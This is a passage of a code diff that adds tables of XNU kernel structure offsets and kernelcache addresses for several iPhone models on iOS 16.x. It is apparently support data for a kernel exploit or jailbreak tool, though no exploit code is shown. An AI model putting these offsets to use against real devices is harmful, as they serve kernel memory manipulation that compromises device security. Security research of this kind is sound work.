.kernelcache__vm_first_phys_ppnum = 0xfffffff00a393800, + .kernelcache__vm_pages = 0xfffffff007804098, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806330, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3937f8, + .kernelcache__vn_kqfilter = 0xfffffff007f1cfd0, + }, + + //iPhone 14, iOS 16.3.1 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x648, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x420, + .thread__object_size = 0x4c8, + .uthread__object_size = 0xfffffffffffffb38, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a365190, + .kernelcache__gPhysBase = 0xfffffff0078541b0, + .kernelcache__gPhysSize = 0xfffffff0078541b0 + 8, + .kernelcache__gVirtBase = 0xfffffff007852390, + .kernelcache__perfmon_devices = 0xfffffff00a3a03b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed105c, + .kernelcache__ptov_table = 0xfffffff0078073b0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800, + .kernelcache__vm_pages = 0xfffffff0078040d8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806370, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f21074, + }, + + //iPhone 14, iOS 16.3 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:25:19 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x648, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x420, + .thread__object_size = 0x4c8, + .uthread__object_size = 0xfffffffffffffb38, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a365190, + .kernelcache__gPhysBase = 0xfffffff0078541b0, + .kernelcache__gPhysSize = 0xfffffff0078541b0 + 8, + .kernelcache__gVirtBase = 0xfffffff007852390, + .kernelcache__perfmon_devices = 0xfffffff00a3a03b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed105c, + .kernelcache__ptov_table = 0xfffffff0078073b0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a39f800, + .kernelcache__vm_pages = 0xfffffff0078040d8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806370, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a39f7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f21074, + }, + + //iPhone 14, iOS 16.4 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a441208, + .kernelcache__gPhysBase = 0xfffffff007933fc0, + .kernelcache__gPhysSize = 0xfffffff007933fc0 + 8, + .kernelcache__gVirtBase = 0xfffffff007932198, + .kernelcache__perfmon_devices = 0xfffffff00a47f520, + .kernelcache__perfmon_dev_open = 0xfffffff007eed210, + .kernelcache__ptov_table = 0xfffffff0078e7180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47e990, + .kernelcache__vm_pages = 0xfffffff0078e3ec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47e988, + .kernelcache__vn_kqfilter = 0xfffffff007f39ae0, + }, + + //iPhone 14, iOS 16.4.1 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a441208, + .kernelcache__gPhysBase = 0xfffffff007933fc0, + .kernelcache__gPhysSize = 0xfffffff007933fc0 + 8, + .kernelcache__gVirtBase = 0xfffffff007932198, + .kernelcache__perfmon_devices = 0xfffffff00a47f520, + .kernelcache__perfmon_dev_open = 0xfffffff007eed210, + .kernelcache__ptov_table = 0xfffffff0078e7180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a47e990, + .kernelcache__vm_pages = 0xfffffff0078e3ec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a47e988, + .kernelcache__vn_kqfilter = 0xfffffff007f39ae0, + }, + + //iPhone 14, iOS 16.5 + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:37 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a44d208, + .kernelcache__gPhysBase = 0xfffffff007938100, + .kernelcache__gPhysSize = 0xfffffff007938100 + 8, + .kernelcache__gVirtBase = 0xfffffff0079362d8, + .kernelcache__perfmon_devices = 0xfffffff00a48b520, + .kernelcache__perfmon_dev_open = 0xfffffff007ef1480, + .kernelcache__ptov_table = 0xfffffff0078eb180, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a48a990, + .kernelcache__vm_pages = 0xfffffff0078e7ec0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea130, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a48a988, + .kernelcache__vn_kqfilter = 0xfffffff007f3dfe8, + }, + + /**************** End iPhone 14 Series ***********************/ + /// iPhone 14 plus series + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a4fda30, + .kernelcache__gPhysBase = 0xfffffff00794c2a8, + .kernelcache__gPhysSize = 0xfffffff00794c2a8 + 8, + .kernelcache__gVirtBase = 0xfffffff00794a460, + .kernelcache__perfmon_devices = 0xfffffff00a53d550, + .kernelcache__perfmon_dev_open = 0xfffffff007f15b9c, + .kernelcache__ptov_table = 0xfffffff0078ff9c0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a53c910, + .kernelcache__vm_pages = 0xfffffff0078fc110, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078fe970, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a53c908, + .kernelcache__vn_kqfilter = 0xfffffff007f620b8, + }, + + /**************** Start iPhone Xr ***********************/ + /// iPhone Xr, 16.6 Beta 1 + + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x368 - 0x18, + .thread__task_threads__prev = 0x368 - 0x18 + 8, + .thread__map = 0x368, + .thread__thread_id = 0x400, + .thread__object_size = 0x4a8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a249ab0, + .kernelcache__gPhysBase = 0xfffffff0078ec288, + .kernelcache__gPhysSize = 0xfffffff0078ec288 + 8, + .kernelcache__gVirtBase = 0xfffffff0078ea440, + .kernelcache__perfmon_devices = 0xfffffff00a289530, + .kernelcache__perfmon_dev_open = 0xfffffff007e7a434, + .kernelcache__ptov_table = 0xfffffff00789f9a0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a288910, + .kernelcache__vm_pages = 0xfffffff00789c0f8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff00789e950, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a288908, + .kernelcache__vn_kqfilter = 0xfffffff007ec8c44 + }, + + /**************** EndiPhone Xr ***********************/ + + + /****************iPhone SE (2022) Series*********************/ + + //iPhone SE (2022) iOS 16.6b1 + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:16:18 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x640, + .thread__task_threads__next = 0x380 - 0x18, + .thread__task_threads__prev = 0x380 - 0x18 + 8, + .thread__map = 0x380, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x8, + ._vm_map__hdr__links__next = 0x08 + 0x8, + ._vm_map__hdr__links__start = 0x10 + 0x8, + ._vm_map__hdr__links__end = 0x18 + 0x8, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a579a30, + .kernelcache__gPhysBase = 0xfffffff0079602a8, + .kernelcache__gPhysSize = 0xfffffff0079602a8 + 8, + .kernelcache__gVirtBase = 0xfffffff00795e460, + .kernelcache__perfmon_devices = 0xfffffff00a5b9550, + .kernelcache__perfmon_dev_open = 0xfffffff007f35b9c, + .kernelcache__ptov_table = 0xfffffff0079139c0, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a5b8910, + .kernelcache__vm_pages = 0xfffffff007910110, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007912970, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a5b8908, + .kernelcache__vn_kqfilter = 0xfffffff007f820b8, + }, + + //iPhone SE (2022) iOS 16.4 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:43:00 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8110", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 